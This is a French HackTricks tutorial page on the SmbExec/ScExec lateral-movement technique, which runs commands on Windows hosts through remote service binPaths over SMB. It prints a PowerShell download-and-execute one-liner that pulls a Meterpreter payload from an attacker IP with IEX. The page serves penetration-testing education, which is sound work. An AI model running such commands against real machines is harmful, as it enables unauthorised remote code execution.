hacktricks/windows-hardening/ntlm/smbexec.md
2023-06-03 13:10:46 +00:00

4.8 KiB

SmbExec/ScExec

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Comment ça fonctionne

Smbexec fonctionne comme Psexec. Dans cet exemple, au lieu de pointer le "binpath" vers un exécutable malveillant à l'intérieur de la victime, nous allons le pointer vers cmd.exe ou powershell.exe et l'un d'eux téléchargera et exécutera la porte dérobée.

SMBExec

Voyons ce qui se passe lorsque smbexec s'exécute en le regardant du côté des attaquants et de la cible :

Nous savons donc qu'il crée un service "BTOBTO". Mais ce service n'est pas présent sur la machine cible lorsque nous effectuons une sc query. Les journaux système révèlent un indice sur ce qui s'est passé :

Le nom de fichier de service contient une chaîne de commande à exécuter (%COMSPEC% pointe vers le chemin absolu de cmd.exe). Il affiche la commande à exécuter dans un fichier bat, redirige la sortie standard et d'erreur vers un fichier Temp, puis exécute le fichier bat et le supprime. De retour sur Kali, le script Python récupère ensuite le fichier de sortie via SMB et affiche le contenu dans notre "pseudo-shell". Pour chaque commande que nous tapons dans notre "shell", un nouveau service est créé et le processus est répété. C'est pourquoi il n'a pas besoin de déposer un binaire, il exécute simplement chaque commande souhaitée en tant que nouveau service. Certainement plus discret, mais comme nous l'avons vu, un journal d'événements est créé pour chaque commande exécutée. Toujours une façon très astucieuse d'obtenir un "shell" non interactif !

SMBExec manuel

Ou exécution de commandes via des services

Comme smbexec l'a démontré, il est possible d'exécuter des commandes directement à partir de binPaths de service au lieu d'avoir besoin d'un binaire. Cela peut être une astuce utile à garder dans votre poche si vous avez juste besoin d'exécuter une commande arbitraire sur une machine Windows cible. À titre d'exemple rapide, obtenons une shell Meterpreter en utilisant un service distant sans binaire.

Nous utiliserons le module web_delivery de Metasploit et choisirons une cible PowerShell avec une charge utile Meterpreter inversée. Le listener est configuré et il nous indique la commande à exécuter sur la machine cible :

powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n');  

À partir de notre boîte d'attaque Windows, nous créons un service distant ("metpsh") et définissons le binPath pour exécuter cmd.exe avec notre charge utile :

Ensuite, nous le démarrons :

Il échoue car notre service ne répond pas, mais si nous regardons notre écouteur Metasploit, nous voyons que l'appel a été effectué et que la charge utile a été exécutée.

Toutes les informations ont été extraites d'ici : https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/